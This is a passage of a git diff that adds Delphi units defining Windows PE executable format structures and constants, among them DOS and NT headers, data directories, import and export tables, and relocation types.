e_cp: uint16; // Pages in file. + e_crlc: uint16; // Relocations. + e_cparhdr: uint16; // Size of header in paragraphs. + e_minalloc: uint16; // Minimum extra paragraphs needed. + e_maxalloc: uint16; // Maximum extra paragraphs needed. + e_ss: uint16; // Initial (relative) SS value. + e_sp: uint16; // Initial SP value. + e_csum: uint16; // Checksum. + e_ip: uint16; // Initial IP value. + e_cs: uint16; // Initial (relative) CS value. + e_lfarlc: uint16; // File address of relocation table. + e_ovno: uint16; // Overlay number. + e_res: array [0 .. 3] of uint16; // Reserved words. + e_oemid: uint16; // OEM identifier (for e_oeminfo). + e_oeminfo: uint16; // OEM information; e_oemid specific. + e_res2: array [0 .. 9] of uint16; // Reserved words. + e_lfanew: uint32; // File address of new exe header. + end; + + PImageDOSHeader = ^TImageDOSHeader; + +const + DOSSTUB: packed array [0 .. 56] of byte = ($0E, $1F, $BA, $0E, $00, $B4, $09, + $CD, $21, $B8, $01, $4C, $CD, $21, $54, $68, $69, $73, $20, $70, $72, $6F, + $67, $72, $61, $6D, $20, $63, $61, $6E, $6E, $6F, $74, $20, $62, $65, $20, + $72, $75, $6E, $20, $69, $6E, $20, $44, $4F, $53, $20, $6D, $6F, $64, $65, + $2E, $0D, $0D, $0A, $24); + +implementation + +{ TDOSMagic } + +function TDOSMagic.IsMZ: boolean; +begin + result := self.chars = 'MZ'; +end; + +procedure TDOSMagic.SetMZ; +begin + self.chars[0] := 'M'; + self.chars[1] := 'Z'; +end; + +end. diff --git a/Core/PE/PE.Types.Directories.pas b/Core/PE/PE.Types.Directories.pas new file mode 100755 index 0000000..35ca7f1 --- /dev/null +++ b/Core/PE/PE.Types.Directories.pas @@ -0,0 +1,103 @@ +unit PE.Types.Directories; + +interface + +type + TImageDataDirectory = packed record + RVA: uint32; + Size: uint32; + function IsEmpty: boolean; inline; + function Contain(rva: uint32): boolean; inline; + + // todo: VirtualAddress is deprecated, use RVA instead. + property VirtualAddress: uint32 read RVA write RVA; + end; + + PImageDataDirectory = ^TImageDataDirectory; + +type + // 2.4.3. Optional Header Data Directories (Image Only) + + // variant #1 + TImageDataDirectories = packed record + ExportTable: TImageDataDirectory; // The export table address and size. + ImportTable: TImageDataDirectory; // The import table address and size. + ResourceTable: TImageDataDirectory; // The resource table address and size. + ExceptionTable: TImageDataDirectory; // The exception table address and size. + CertificateTable: TImageDataDirectory; // The attribute certificate table address and size. + BaseRelocationTable: TImageDataDirectory; // The base relocation table address and size. + Debug: TImageDataDirectory; // The debug data starting address and size. + Architecture: TImageDataDirectory; // Reserved, must be 0 + GlobalPtr: TImageDataDirectory; // The RVA of the value to be stored in the global pointer register. + // The size member of this structure must be set to zero. + TLSTable: TImageDataDirectory; // The thread local storage (TLS) table address and size. + LoadConfigTable: TImageDataDirectory; // The load configuration table address and size. + BoundImport: TImageDataDirectory; // The bound import table address and size. + IAT: TImageDataDirectory; // The import address table address and size. + DelayImportDescriptor: TImageDataDirectory; // The delay import descriptor address and size. + CLRRuntimeHeader: TImageDataDirectory; // The CLR runtime header address and size. + RESERVED: TImageDataDirectory; // Reserved, must be zero + end; + + PImageDataDirectories = ^TImageDataDirectories; + +const + NULL_IMAGE_DATA_DIRECTORY: TImageDataDirectory = (RVA: 0; Size: 0); + + IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16; + + TYPICAL_NUMBER_OF_DIRECTORIES = IMAGE_NUMBEROF_DIRECTORY_ENTRIES; + + // variant #2 + // TImageDataDirectories = packed array [0 .. IMAGE_NUMBEROF_DIRECTORY_ENTRIES-1] of TImageDataDirectory; + +// Get directory name by index or format index as a string (like dir_0001) if +// it's not in range of known names. +function GetDirectoryName(Index: integer): string; + +implementation + +uses + SysUtils; + +function TImageDataDirectory.Contain(rva: uint32): boolean; +begin + Result := (rva >= Self.VirtualAddress) and (rva < Self.VirtualAddress + Self.Size); +end; + +function TImageDataDirectory.IsEmpty: boolean; +begin + // In some cases Size can be 0, but VirtualAddress will point to valid data. + Result := (VirtualAddress = 0); +end; + +const + DirectoryNames: array [0 .. IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of string = + ( + 'Export', + 'Import', + 'Resource', + 'Exception', + 'Certificate', + 'Base Relocation', + 'Debug', + 'Architecture', + 'Global Pointer', + 'Thread Local Storage', + 'Load Config', + 'Bound Import', + 'Import Address Table', + 'Delay Import Descriptor', + 'CLR Runtime Header', + '' + ); + +function GetDirectoryName(Index: integer): string; +begin + if (Index >= 0) and (Index < Length(DirectoryNames)) then + Result := DirectoryNames[Index] + else + Result := format('dir_%4.4d', [index]); +end; + +end. diff --git a/Core/PE/PE.Types.Export.pas b/Core/PE/PE.Types.Export.pas new file mode 100755 index 0000000..e26dd91 --- /dev/null +++ b/Core/PE/PE.Types.Export.pas @@ -0,0 +1,33 @@ +unit PE.Types.Export; + +interface + +uses + PE.Common; + +type + TImageExportDirectory = packed record + ExportFlags: uint32; // Reserved, must be 0. + TimeDateStamp: uint32; // The time and date that the export data was created. + MajorVersion: uint16; // The major version number. + // The major and minor version numbers can be set by the user. + MinorVersion: uint16; // The minor version number. + NameRVA: uint32; // The address of the ASCII string that contains the name of the DLL. + // This address is relative to the image base. + OrdinalBase: uint32; // The starting ordinal number for exports in this image. + // This field specifies the starting ordinal number for the export address table. + // It is usually set to 1. + AddressTableEntries: uint32; // NumberOfFunctions; The number of entries in the export address table. + NumberOfNamePointers: uint32; // The number of entries in the name pointer table. + // This is also the number of entries in the ordinal table. + ExportAddressTableRVA: uint32; // The address of the export address table, relative to the image base. + NamePointerRVA: uint32; // The address of the export name pointer table, relative to the image base. + // The table size is given by the Number of Name Pointers field. + OrdinalTableRVA: uint32; // The address of the ordinal table, relative to the image base. + end; + + PImageExportDirectory = ^TImageExportDirectory; + +implementation + +end. diff --git a/Core/PE/PE.Types.FileHeader.pas b/Core/PE/PE.Types.FileHeader.pas new file mode 100755 index 0000000..c49ac13 --- /dev/null +++ b/Core/PE/PE.Types.FileHeader.pas @@ -0,0 +1,97 @@ +unit PE.Types.FileHeader; + +interface + +// 2.3.1. Machine Types +const + IMAGE_FILE_MACHINE_UNKNOWN = $0; // The contents of this field are assumed to be applicable to any machine type + IMAGE_FILE_MACHINE_AM33 = $1D3; // Matsushita AM33 + IMAGE_FILE_MACHINE_AMD64 = $8664; // x64 + IMAGE_FILE_MACHINE_ARM = $1C0; // ARM little endian + IMAGE_FILE_MACHINE_ARMV7 = $1C4; // ARMv7 (or higher) Thumb mode only + IMAGE_FILE_MACHINE_EBC = $EBC; // EFI byte code + IMAGE_FILE_MACHINE_I386 = $14C; // Intel 386 or later processors and compatible processors + IMAGE_FILE_MACHINE_IA64 = $200; // Intel Itanium processor family + IMAGE_FILE_MACHINE_M32R = $9041; // Mitsubishi M32R little endian + IMAGE_FILE_MACHINE_MIPS16 = $266; // MIPS16 + IMAGE_FILE_MACHINE_MIPSFPU = $366; // MIPS with FPU + IMAGE_FILE_MACHINE_MIPSFPU16 = $466; // MIPS16 with FPU + IMAGE_FILE_MACHINE_POWERPC = $1F0; // Power PC little endian + IMAGE_FILE_MACHINE_POWERPCFP = $1F1; // Power PC with floating point support + IMAGE_FILE_MACHINE_R4000 = $166; // MIPS little endian + IMAGE_FILE_MACHINE_SH3 = $1A2; // Hitachi SH3 + IMAGE_FILE_MACHINE_SH3DSP = $1A3; // Hitachi SH3 DSP + IMAGE_FILE_MACHINE_SH4 = $1A6; // Hitachi SH4 + IMAGE_FILE_MACHINE_SH5 = $1A8; // Hitachi SH5 + IMAGE_FILE_MACHINE_THUMB = $1C2; // ARM or Thumb (interworking) + IMAGE_FILE_MACHINE_WCEMIPSV2 = $169; // MIPS little-endian WCE v2 + +// 2.3.2. Characteristics + IMAGE_FILE_RELOCS_STRIPPED = $0001; // Image only, Windows CE, and Windows NT and later. This indicates that the file does not contain base relocations and must therefore be loaded at its preferred base address. If the base address is not available, the loader reports an error. The default behavior of the linker is to strip base relocations from executable (EXE) files. + IMAGE_FILE_EXECUTABLE_IMAGE = $0002; // Image only. This indicates that the image file is valid and can be run. If this flag is not set, it indicates a linker error. + IMAGE_FILE_LINE_NUMS_STRIPPED = $0004; // COFF line numbers have been removed. This flag is deprecated and should be zero. + IMAGE_FILE_LOCAL_SYMS_STRIPPED = $0008; // COFF symbol table entries for local symbols have been removed. This flag is deprecated and should be zero. + IMAGE_FILE_AGGRESSIVE_WS_TRIM = $0010; // Obsolete. Aggressively trim working set. This flag is deprecated for Windows 2000 and later and must be zero. + IMAGE_FILE_LARGE_ADDRESS_AWARE = $0020; // Application can handle > 2 GB addresses. +// $0040 // This flag is reserved for future use. + IMAGE_FILE_BYTES_REVERSED_LO = $0080; // Little endian: the least significant bit (LSB) precedes the most significant bit (MSB) in memory. This flag is deprecated and should be zero. + IMAGE_FILE_32BIT_MACHINE = $0100; // Machine is based on a 32-bit-word architecture. + IMAGE_FILE_DEBUG_STRIPPED = $0200; // Debugging information is removed from the image file. + IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP = $0400; // If the image is on removable media, fully load it and copy it to the swap file. + IMAGE_FILE_NET_RUN_FROM_SWAP = $0800; // If the image is on network media, fully load it and copy it to the swap file. + IMAGE_FILE_SYSTEM = $1000; // The image file is a system file, not a user program. + IMAGE_FILE_DLL = $2000; // The image file is a dynamic-link library (DLL). Such files are considered executable files for almost all purposes, although they cannot be directly run. + IMAGE_FILE_UP_SYSTEM_ONLY = $4000; // The file should be run only on a uniprocessor machine. + IMAGE_FILE_BYTES_REVERSED_HI = $8000; // Big endian: the MSB precedes the LSB in memory. This flag is deprecated and should be zero. + + +// 2.4. Optional Header (Image Only) + PE_MAGIC_PE32 = $10b; + PE_MAGIC_PE32PLUS = $20b; + +// 2.4.2. Optional Header Windows-Specific Fields (Image Only) +// Windows Subsystem + IMAGE_SUBSYSTEM_UNKNOWN = 0; // An unknown subsystem + IMAGE_SUBSYSTEM_NATIVE = 1; // Device drivers and native Windows processes + IMAGE_SUBSYSTEM_WINDOWS_GUI = 2; // The Windows graphical user interface (GUI) subsystem + IMAGE_SUBSYSTEM_WINDOWS_CUI = 3; // The Windows character subsystem + IMAGE_SUBSYSTEM_POSIX_CUI = 7; // The Posix character subsystem + IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9; // Windows CE + IMAGE_SUBSYSTEM_EFI_APPLICATION = 10; // An Extensible Firmware Interface (EFI) application + IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11; // An EFI driver with boot services + IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12; // An EFI driver with run-time services + IMAGE_SUBSYSTEM_EFI_ROM = 13; // An EFI ROM image + IMAGE_SUBSYSTEM_XBOX = 14; // XBOX + +// DLL Characteristics +//RESERVED_0x0001 = $0001; // Reserved, must be zero. +//RESERVED_0x0002 = $0002; // Reserved, must be zero. +//RESERVED_0x0004 = $0004; // Reserved, must be zero. +//RESERVED_0x0008 = $0008; // Reserved, must be zero. + IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = $0040; // DLL can be relocated at load time. + IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = $0080; // Code Integrity checks are enforced. + IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = $0100; // Image is NX compatible. + IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = $0200; // Isolation aware, but do not isolate the image. + IMAGE_DLLCHARACTERISTICS_NO_SEH = $0400; // Does not use structured exception (SE) handling. No SE handler may be called in this image. + IMAGE_DLLCHARACTERISTICS_NO_BIND = $0800; // Do not bind the image. +//RESERVED_0x1000 = $1000; // Reserved, must be zero. + IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = $2000; // A WDM driver. + IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = $8000; // Terminal Server aware. + + +type + TImageFileHeader = packed record + Machine: uint16; + NumberOfSections: uint16; + TimeDateStamp: uint32; + PointerToSymbolTable: uint32; + NumberOfSymbols: uint32; + SizeOfOptionalHeader: uint16; + Characteristics: uint16; + end; + + PImageFileHeader = ^TImageFileHeader; + +implementation + +end. diff --git a/Core/PE/PE.Types.Imports.pas b/Core/PE/PE.Types.Imports.pas new file mode 100755 index 0000000..6f626e0 --- /dev/null +++ b/Core/PE/PE.Types.Imports.pas @@ -0,0 +1,148 @@ +unit PE.Types.Imports; + +interface + +{ 5.4.1. Import Directory Table } +type + TImportType = (itNoBinding, itOldBinding, itNewBinding); + + TImportDirectoryTable = packed record + public + // The RVA of the import lookup table. This table contains + // a name or ordinal for each import. + + ImportLookupTableRVA: uint32; // OriginalFirstThunk, old (Characteristics) + + // The stamp that is set to zero until the image is bound. + // After the image is bound, this field is set to the time/data + // stamp of the DLL. + TimeDateStamp: uint32; + + // The index of the first forwarder reference. + ForwarderChain: uint32; + + // The address of an ASCII string that contains the name + // of the DLL. This address is relative to the image base. + NameRVA: uint32; + + // (Thunk Table); The RVA of the import address table. + // The contents of this table are identical to the contents of + // the import lookup table until the image is bound. + + ImportAddressTable: uint32; // First thunk + + function IsEmpty: boolean; inline; + function IsBound: boolean; inline; + function GetType: TImportType; inline; + procedure Clear; inline; + + property FirstThunk: uint32 read ImportAddressTable; + property OriginalFirstThunk: uint32 read ImportLookupTableRVA; + end; + PImportDirectoryTable = ^TImportDirectoryTable; + + { 5.4.2. Import Lookup Table } + TImportLookupTable = packed record + private + FData: uint64; // 32/64 bits + FIs32: boolean; + public + procedure Create(Data: uint64; Is32: boolean); inline; + function IsEmpty: boolean; inline; + function IsImportByOrdinal: boolean; inline; + function IsImportByName: boolean; inline; + function OrdinalNumber: uint16; inline; // only if import by ordinal + function HintNameTableRVA: uint32; // inline; // only if import by name + end; + + { 5.4.3. Hint/Name Table } + THintNameTable = packed record + public + // An index into the export name pointer table. A match is attempted + // first with this value. If it fails, a binary search is performed + // on the DLLs export name pointer table. + Hint: uint16; + + // An ASCII string that contains the name to import. This is + // the string that must be matched to the public name in the DLL. + // This string is case sensitive and terminated by a null byte. + Name: String; + + { Pad : 0/1 bytes } + end; + + +implementation + +{ TImportLookupTable } + +procedure TImportLookupTable.Create(Data: uint64; Is32: boolean); +begin + FData := Data; + FIs32 := Is32; +end; + +function TImportLookupTable.HintNameTableRVA: uint32; +begin + if IsImportByName then + result := FData and $7FFFFFFF // for both 32 and 64 bit images + else + result := 0; +end; + +function TImportLookupTable.IsEmpty: boolean; +begin + result := FData = 0; +end; + +function TImportLookupTable.IsImportByName: boolean; +begin + result := not IsImportByOrdinal; +end; + +function TImportLookupTable.IsImportByOrdinal: boolean; +begin + if FIs32 then + result := (FData and $80000000) <> 0 + else + result := (FData and $8000000000000000) <> 0; +end; + +function TImportLookupTable.OrdinalNumber: uint16; +begin + if IsImportByOrdinal then + result := FData and $FFFF + else + result := 0; +end; + +{ TImportDirectoryTable } + +procedure TImportDirectoryTable.Clear; +begin + FillChar(self, SizeOf(self), 0); +end; + +function TImportDirectoryTable.IsBound: boolean; +begin + result := TimeDateStamp <> 0; +end; + +function TImportDirectoryTable.GetType: TImportType; +begin + case TimeDateStamp of + 0: + result := itNoBinding; + $FFFFFFFF: + result := itNewBinding; + else + result := itOldBinding; + end; +end; + +function TImportDirectoryTable.IsEmpty: boolean; +begin + Result := NameRva = 0; +end; + +end. diff --git a/Core/PE/PE.Types.ImportsDelayed.pas b/Core/PE/PE.Types.ImportsDelayed.pas new file mode 100755 index 0000000..f9ecd17 --- /dev/null +++ b/Core/PE/PE.Types.ImportsDelayed.pas @@ -0,0 +1,78 @@ +unit PE.Types.ImportsDelayed; + +interface + +// 4.8. Delay-Load Import Tables (Image Only) +// 4.8.1. The Delay-Load Directory Table +type + TDelayLoadDirectoryTable = packed record + private + function GetUsesVA: boolean; inline; + function GetUsesRVA: boolean; inline; + function GetEmpty: boolean; inline; + public + + // Must be zero. + Attributes: UInt32; + + // The RVA of the name of the DLL to be loaded. The name resides in the + // read-only data section of the image. + Name: UInt32; + + // The RVA of the module handle (in the data section of the image) of the + // DLL to be delay-loaded. It is used for storage by the routine that is + // supplied to manage delay-loading. + ModuleHandle: UInt32; + + // The RVA of the delay-load import address table. For more information, + // see section Delay Import Address Table (IAT). + DelayImportAddressTable: UInt32; + + // The RVA of the delay-load name table, which contains the names of the + // imports that might need to be loaded. This matches the layout of the + // import name table. For more information, see section Hint/Name Table. + DelayImportNameTable: UInt32; + + // The RVA of the bound delay-load address table, if it exists. + BoundDelayImportTable: UInt32; + + // The RVA of the unload delay-load address table, if it exists. This is an + // exact copy of the delay import address table. If the caller unloads + // the DLL, this table should be copied back over the delay import address + // table so that subsequent calls to the DLL continue to use the thunking + // mechanism correctly. + UnloadDelayImportTable: UInt32; + + // The timestamp of the DLL to which this image has been bound. + TimeStamp: UInt32; + + // Check if addresses are VA/RVA (by attibute). + property UsesVA: boolean read GetUsesVA; + property UsesRVA: boolean read GetUsesRVA; + + property Empty: boolean read GetEmpty; + end; + +implementation + +const + FLAG_RVA = 1; + + { TDelayLoadDirectoryTable } + +function TDelayLoadDirectoryTable.GetUsesVA: boolean; +begin + Result := (Attributes and FLAG_RVA) = 0; +end; + +function TDelayLoadDirectoryTable.GetUsesRVA: boolean; +begin + Result := (Attributes and FLAG_RVA) <> 0; +end; + +function TDelayLoadDirectoryTable.GetEmpty: boolean; +begin + Result := Name = 0; +end; + +end. diff --git a/Core/PE/PE.Types.NTHeaders.pas b/Core/PE/PE.Types.NTHeaders.pas new file mode 100755 index 0000000..9dea458 --- /dev/null +++ b/Core/PE/PE.Types.NTHeaders.pas @@ -0,0 +1,57 @@ +unit PE.Types.NTHeaders; + +interface + +uses + PE.Types.FileHeader, + PE.Types.OptionalHeader; + +type +{ + TImageNTHeaders32 = packed record + Signature: uint32; + FileHeader: TImageFileHeader; + OptionalHeader: TImageOptionalHeader32; + end; + + PImageNTHeaders32 = ^TImageNTHeaders32; + + TImageNTHeaders64 = packed record + Signature: uint32; + FileHeader: TImageFileHeader; + OptionalHeader: TImageOptionalHeader64; + end; + + PImageNTHeaders64 = ^TImageNTHeaders64; +} + + TNTSignature = record + public + function IsPE00: boolean; inline; + public + case integer of + 0: + (chars: array [0 .. 3] of AnsiChar); + end; + + TImageNTHeaders = packed record + Signature: TNTSignature; + FileHeader: TImageFileHeader; + OptionalHeader: TImageOptionalHeader; + end; + + PImageNTHeaders = ^TImageNTHeaders; + +const + PE00_SIGNATURE: TNTSignature = (chars: 'PE'#0#0); + +implementation + +{ TNTSignature } + +function TNTSignature.IsPE00: boolean; +begin + result := self.chars = PE00_SIGNATURE.chars; +end; + +end. diff --git a/Core/PE/PE.Types.OptionalHeader.pas b/Core/PE/PE.Types.OptionalHeader.pas new file mode 100755 index 0000000..5946fd7 --- /dev/null +++ b/Core/PE/PE.Types.OptionalHeader.pas @@ -0,0 +1,152 @@ +unit PE.Types.OptionalHeader; + +interface + +uses + PE.Types.Directories; + +// 2.4.1. Optional Header Standard Fields (Image Only) +// 2.4.2. Optional Header Windows-Specific Fields (Image Only) +type +// PImageOptionalHeader = ^TImageOptionalHeader; +// TImageOptionalHeader = packed record +// // Standard fields. +// Magic : uint16; // 0x10b: PE32 +// // 0x20b: PE32+ +// MajorLinkerVersion : uint8; +// MinorLinkerVersion : uint8; +// SizeOfCode : uint32; +// SizeOfInitializedData : uint32; +// SizeOfUninitializedData : uint32; +// AddressOfEntryPoint : uint32; +// BaseOfCode : uint32; +// +// BaseOfData : uint32; // PE32 only +// +// // NT additional fields. +// ImageBase : uint3264; +// SectionAlignment : uint32; +// FileAlignment : uint32; +// MajorOperatingSystemVersion : uint16; +// MinorOperatingSystemVersion : uint16; +// MajorImageVersion : uint16; +// MinorImageVersion : uint16; +// MajorSubsystemVersion : uint16; +// MinorSubsystemVersion : uint16; +// Win32VersionValue : uint32; +// SizeOfImage : uint32; +// SizeOfHeaders : uint32; +// CheckSum : uint32; +// Subsystem : uint16; +// DllCharacteristics : uint16; +// SizeOfStackReserve : uint3264; +// SizeOfStackCommit : uint3264; +// SizeOfHeapReserve : uint3264; +// SizeOfHeapCommit : uint3264; +// LoaderFlags : uint32; +// NumberOfRvaAndSizes : uint32; +// +//// DataDirectory: array [0 .. IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of TImageDataDirectory; +// DataDirectories : TImageDataDirectories; +// end; + + TImageOptionalHeader32 = packed record + + // Standard fields. + Magic : uint16; // 0x10b: PE32 + // 0x20b: PE32+ + MajorLinkerVersion : uint8; + MinorLinkerVersion : uint8; + SizeOfCode : uint32; + SizeOfInitializedData : uint32; + SizeOfUninitializedData : uint32; + AddressOfEntryPoint : uint32; + BaseOfCode : uint32; + + BaseOfData : uint32; // PE32 only + + // NT additional fields. + ImageBase : uint32; + + SectionAlignment : uint32; + FileAlignment : uint32; + MajorOperatingSystemVersion : uint16; + MinorOperatingSystemVersion : uint16; + MajorImageVersion : uint16; + MinorImageVersion : uint16; + MajorSubsystemVersion : uint16; + MinorSubsystemVersion : uint16; + Win32VersionValue : uint32; + SizeOfImage : uint32; + SizeOfHeaders : uint32; + CheckSum : uint32; + Subsystem : uint16; + DllCharacteristics : uint16; + + SizeOfStackReserve : uint32; + SizeOfStackCommit : uint32; + SizeOfHeapReserve : uint32; + SizeOfHeapCommit : uint32; + + LoaderFlags : uint32; + NumberOfRvaAndSizes : uint32; + + // DataDirectory: array [0 .. IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of TImageDataDirectory; + DataDirectories : TImageDataDirectories; + end; + PImageOptionalHeader32 = ^TImageOptionalHeader32; + + TImageOptionalHeader64 = packed record + + // Standard fields. + Magic : uint16; // 0x10b: PE32 + // 0x20b: PE32+ + MajorLinkerVersion : uint8; + MinorLinkerVersion : uint8; + SizeOfCode : uint32; + SizeOfInitializedData : uint32; + SizeOfUninitializedData : uint32; + AddressOfEntryPoint : uint32; + BaseOfCode : uint32; + + // NT additional fields. + ImageBase : uint64; + + SectionAlignment : uint32; + FileAlignment : uint32; + MajorOperatingSystemVersion : uint16; + MinorOperatingSystemVersion : uint16; + MajorImageVersion : uint16; + MinorImageVersion : uint16; + MajorSubsystemVersion : uint16; + MinorSubsystemVersion : uint16; + Win32VersionValue : uint32; + SizeOfImage : uint32; + SizeOfHeaders : uint32; + CheckSum : uint32; + Subsystem : uint16; + DllCharacteristics : uint16; + + SizeOfStackReserve : uint64; + SizeOfStackCommit : uint64; + SizeOfHeapReserve : uint64; + SizeOfHeapCommit : uint64; + + LoaderFlags : uint32; + NumberOfRvaAndSizes : uint32; + + // DataDirectory: array [0 .. IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1] of TImageDataDirectory; + DataDirectories : TImageDataDirectories; + end; + PImageOptionalHeader64 = ^TImageOptionalHeader64; + + TImageOptionalHeader = packed record + case integer of + 32: (pe32: TImageOptionalHeader32); + 64: (pe64: TImageOptionalHeader64); + end; + + + implementation + + end. diff --git a/Core/PE/PE.Types.Relocations.inc b/Core/PE/PE.Types.Relocations.inc new file mode 100755 index 0000000..ed9105c --- /dev/null +++ b/Core/PE/PE.Types.Relocations.inc @@ -0,0 +1,190 @@ +const +// 4.2.1. Type Indicators +// x64 Processors +// The following relocation type indicators are defined for x64 and compatible processors. + IMAGE_REL_AMD64_ABSOLUTE = $0000; // The relocation is ignored. + IMAGE_REL_AMD64_ADDR64 = $0001; // The 64-bit VA of the relocation target. + IMAGE_REL_AMD64_ADDR32 = $0002; // The 32-bit VA of the relocation target. + IMAGE_REL_AMD64_ADDR32NB = $0003; // The 32-bit address without an image base (RVA). + IMAGE_REL_AMD64_REL32 = $0004; // The 32-bit relative address from the byte following the relocation. + IMAGE_REL_AMD64_REL32_1 = $0005; // The 32-bit address relative to byte distance 1 from the relocation. + IMAGE_REL_AMD64_REL32_2 = $0006; // The 32-bit address relative to byte distance 2 from the relocation. + IMAGE_REL_AMD64_REL32_3 = $0007; // The 32-bit address relative to byte distance 3 from the relocation. + IMAGE_REL_AMD64_REL32_4 = $0008; // The 32-bit address relative to byte distance 4 from the relocation. + IMAGE_REL_AMD64_REL32_5 = $0009; // The 32-bit address relative to byte distance 5 from the relocation. + IMAGE_REL_AMD64_SECTION = $000A; // The 16-bit section index of the section that contains the target. + // This is used to support debugging information. + IMAGE_REL_AMD64_SECREL = $000B; // The 32-bit offset of the target from the beginning of its section. + // This is used to support debugging information and static thread local storage. + IMAGE_REL_AMD64_SECREL7 = $000C; // A 7-bit unsigned offset from the base of the section that contains the target. + IMAGE_REL_AMD64_TOKEN = $000D; // CLR tokens. + IMAGE_REL_AMD64_SREL32 = $000E; // A 32-bit signed span-dependent value emitted into the object. + IMAGE_REL_AMD64_PAIR = $000F; // A pair that must immediately follow every span-dependent value. + IMAGE_REL_AMD64_SSPAN32 = $0010; // A 32-bit signed span-dependent value that is applied at link time. + +// ARM Processors +// The following relocation type indicators are defined for ARM processors. + IMAGE_REL_ARM_ABSOLUTE = $0000; // The relocation is ignored. + IMAGE_REL_ARM_ADDR32 = $0001; // The 32-bit VA of the target. + IMAGE_REL_ARM_ADDR32NB = $0002; // The 32-bit RVA of the target. + IMAGE_REL_ARM_BRANCH24 = $0003; // The most significant 24 bits of the signed 26-bit relative displacement of the target. Applied to a B or BL instruction in ARM mode. + IMAGE_REL_ARM_BRANCH11 = $0004; // The most significant 22 bits of the signed 23-bit relative displacement of the target. Applied to a contiguous 16-bit B+BL pair in Thumb mode prior to ARMv7. + IMAGE_REL_ARM_TOKEN = $0005; // CLR tokens. + IMAGE_REL_ARM_BLX24 = $0008; // The most significant 24 or 25 bits of the signed 26-bit relative displacement of the target. Applied to an unconditional BL instruction in ARM mode. The BL is transformed to a BLX during relocation if the target is in Thumb mode. + IMAGE_REL_ARM_BLX11 = $0009; // The most significant 21 or 22 bits of the signed 23-bit relative displacement of the target. Applied to a contiguous 16-bit B+BL pair in Thumb mode prior to ARMv7. The BL is transformed to a BLX during relocation if the target is in ARM mode. + IMAGE_REL_ARM_SECTION = $000E; // The 16-bit section index of the section that contains the target. This is used to support debugging information. + IMAGE_REL_ARM_SECREL = $000F; // The 32-bit offset of the target from the beginning of its section. This is used to support debugging information and static thread local storage. + IMAGE_REL_ARM_MOV32A = $0010; // The 32-bit VA of the target. Applied to a contiguous MOVW+MOVT pair in ARM mode. The 32-bit VA is added to the existing value that is encoded in the immediate fields of the pair. + IMAGE_REL_ARM_MOV32T = $0011; // The 32-bit VA of the target. Applied to a contiguous MOVW+MOVT pair in Thumb mode. The 32-bit VA is added to the existing value that is encoded in the immediate fields of the pair. + IMAGE_REL_ARM_BRANCH20T = $0012; // The most significant 20 bits of the signed 21-bit relative displacement of the target. Applied to a 32-bit conditional B instruction in Thumb mode. + IMAGE_REL_ARM_BRANCH24T = $0014; // The most significant 24 bits of the signed 25-bit relative displacement of the target. Applied to a 32-bit unconditional B or BL instruction in Thumb mode. + IMAGE_REL_ARM_BLX23T = $0015; // The most significant 23 or 24 bits of the signed 25-bit relative displacement of the target. Applied to a 32-bit BL instruction in Thumb mode. The BL is transformed to a BLX during relocation if the target is in ARM mode. + + // Hitachi SuperH Processors + // The following relocation type indicators are defined for SH3 and SH4 processors. + // SH5-specific relocations are noted as SHM (SH Media). + IMAGE_REL_SH3_ABSOLUTE = $0000; // The relocation is ignored. + IMAGE_REL_SH3_DIRECT16 = $0001; // A reference to the 16-bit location that contains the VA of the target symbol. + IMAGE_REL_SH3_DIRECT32 = $0002; // The 32-bit VA of the target symbol. + IMAGE_REL_SH3_DIRECT8 = $0003; // A reference to the 8-bit location that contains the VA of the target symbol. + IMAGE_REL_SH3_DIRECT8_WORD = $0004; // A reference to the 8-bit instruction that contains the effective 16-bit VA of the target symbol. + IMAGE_REL_SH3_DIRECT8_LONG = $0005; // A reference to the 8-bit instruction that contains the effective 32-bit VA of the target symbol. + IMAGE_REL_SH3_DIRECT4 = $0006; // A reference to the 8-bit location whose low 4 bits contain the VA of the target symbol. + IMAGE_REL_SH3_DIRECT4_WORD = $0007; // A reference to the 8-bit instruction whose low 4 bits contain the effective 16-bit VA of the target symbol. + IMAGE_REL_SH3_DIRECT4_LONG = $0008; // A reference to the 8-bit instruction whose low 4 bits contain the effective 32-bit VA of the target symbol. + IMAGE_REL_SH3_PCREL8_WORD = $0009; // A reference to the 8-bit instruction that contains the effective 16-bit relative offset of the target symbol. + IMAGE_REL_SH3_PCREL8_LONG = $000A; // A reference to the 8-bit instruction that contains the effective 32-bit relative offset of the target symbol. + IMAGE_REL_SH3_PCREL12_WORD = $000B; // A reference to the 16-bit instruction whose low 12 bits contain the effective 16-bit relative offset of the target symbol. + IMAGE_REL_SH3_STARTOF_SECTION = $000C; // A reference to a 32-bit location that is the VA of the section that contains the target symbol. + IMAGE_REL_SH3_SIZEOF_SECTION = $000D; // A reference to the 32-bit location that is the size of the section that contains the target symbol. + IMAGE_REL_SH3_SECTION = $000E; // The 16-bit section index of the section that contains the target. This is used to support debugging information. + IMAGE_REL_SH3_SECREL = $000F; // The 32-bit offset of the target from the beginning of its section. This is used to support debugging information and static thread local storage. + IMAGE_REL_SH3_DIRECT32_NB = $0010; // The 32-bit RVA of the target symbol. + IMAGE_REL_SH3_GPREL4_LONG = $0011; // GP relative. + IMAGE_REL_SH3_TOKEN = $0012; // CLR token. + IMAGE_REL_SHM_PCRELPT = $0013; // The offset from the current instruction in longwords. If the NOMODE bit is not set, insert the inverse of the low bit at bit 32 to select PTA or PTB. + IMAGE_REL_SHM_REFLO = $0014; // The low 16 bits of the 32-bit address. + IMAGE_REL_SHM_REFHALF = $0015; // The high 16 bits of the 32-bit address. + IMAGE_REL_SHM_RELLO = $0016; // The low 16 bits of the relative address. + IMAGE_REL_SHM_RELHALF = $0017; // The high 16 bits of the relative address. + IMAGE_REL_SHM_PAIR = $0018; 